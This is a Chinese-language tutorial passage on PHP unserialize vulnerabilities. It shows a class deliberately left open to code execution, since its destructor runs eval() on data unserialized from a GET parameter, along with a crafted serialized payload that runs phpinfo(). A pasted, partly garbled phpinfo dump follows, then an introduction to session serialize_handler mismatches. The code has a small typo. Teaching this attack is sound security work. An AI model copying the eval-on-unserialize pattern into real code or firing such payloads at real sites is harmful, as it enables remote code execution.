0x01 序列化简单利用

serialize() 序列化:使用函数serialize()可将实例序列化为字符串 unserialize() 反序列化:使用函数 unserialize()可将序列化的字符串还原

代码示例:

```
<?php
class Example {
   var $var = '';
   function __destruct() {
      eval($this->var);
   }
}
unserialize($_GET['code']);
?>
```

漏洞利用:

构造漏洞利用的代码,保存为test.php,获取序列化值为 O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

```
<?php
class Example {
    var $var = 'phpinfo();';
    function __destruct() {
        eval($this->var);
    }
}
sa=new Example();
echo serialize($a);
?>
```

提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} 即可执行phpinfo()

PHP Version 5 6 27



PHP Version 5.0.27	qiiq
System	Windows NT DESKTOP-464SHOH 10.0 build 16299 (Windows 10) i586
Build Date	Oct 14 2016 10:15:39
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x86
Configure Command	cscript /nologo configure.js "enable-snapshot-build" "enable-debug-pack" "disable-zts" "disable-isapi" "disable-nsapi" "without-mscql" "without-pi3web" "with-pdo-oci=c\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "with-oci8-12e=c\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "with-enable-object-out-dir=./obj/" "enable-object-out-dir=./obj/" "enable-object-out-dir=./obj/" "with-mcrypt=static" "without-analyzer" "with-pgo"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\WINDOWS

PHP SESSION反序列化

主要原因是: ini_set('session.serialize_handler', 'php_serialize');

ini_set('session.serialize_handler', 'php');

两者处理session的方式不同

```
<?php
ini_set('session.serialize_handler','php_serialize');//ini_set('session.serialize_handler',
'php');
session_start();
$_SESSION["test"]=$_GET["a"];
?>//提交?a=1111
```

```
输出结果:
php_serialize: a:1:{s:4:"test";s:4:"1111";}
php: test|s:4:"1111";
```

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